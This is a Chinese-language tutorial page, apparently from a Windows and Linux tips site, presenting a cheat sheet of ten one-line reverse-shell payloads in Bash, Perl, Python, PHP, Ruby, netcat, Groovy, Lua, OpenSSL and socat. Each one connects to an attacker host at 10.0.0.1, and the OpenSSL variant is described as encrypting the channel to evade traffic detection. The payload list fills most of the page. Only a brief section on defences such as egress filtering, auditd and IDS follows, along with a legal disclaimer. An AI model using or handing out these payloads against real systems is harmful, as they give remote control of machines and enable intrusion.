Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> Linux 系統教學 >> Linux 教學

反彈 Shell 十種姿勢:Bash/Perl/Python/PHP/Ruby/NC/Java 一網打盡

編輯:Linux 教學

滲透測試與應急響應中,反彈 Shell 是建立受控通道的核心技術。本文匯總 10 種主流語言/工具的一行式 Payload,附帶適用條件與檢測建議,僅供授權測試與防禦研究使用。

一、 Payload 速查表

1. Bash(最常用)

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
# 注:部分精簡版 BusyBox 不支持 /dev/tcp

2. Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

3. Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4. PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

5. Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

6. Netcat (nc)

# 傳統版(需 -e 支持)
nc -e /bin/sh 10.0.0.1 1234

# 無 -e 版本(構造 FIFO)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

# 雙管道雙向
nc x.x.x.x 8888 | /bin/sh | nc x.x.x.x 9999

7. Java(Groovy 風格)

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

8. Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&'..t:getfd()..' >&'..t:getfd()..' 2>&'..t:getfd())"

9. OpenSSL(加密通道,躲避流量檢測)

# 攻擊機監聽
openssl s_server -quiet -key key.pem -cert cert.pem -port 1234

# 目標機反彈
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:1234 > /tmp/s; rm /tmp/s

10. Socat(全能瑞士軍刀)

# 攻擊機
socat file:`tty`,raw,echo=0 tcp-listen:1234

# 目標機
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:1234

二、 防禦與檢測建議

  1. 出站流量管控:防火牆限制非必要出站連接,僅允許業務所需 IP/端口。
  2. 進程行為審計:部署 auditd 監控 execve 調用,關注異常父子進程關係(如 java 衍生 bash)。
  3. 網絡流量分析:IDS/IPS 識別反彈 Shell 特徵(長連接、高熵流量、非標準端口交互 Shell 提示符)。
  4. 最小權限原則:應用賬戶禁用 Shell(/sbin/nologin),容器落地無 Shell 環境。
  5. 蜜罐部署:誘捕反彈連接,溯源攻擊者基礎設施。

三、 法律聲明

未經授權獲取計算機系統控制權屬違法行為(中國《刑法》第 285 條)。本文旨在幫助藍隊理解攻擊向量、構建檢測規則,嚴禁用於非授權測試。

Copyright © Windows教程網 All Rights Reserved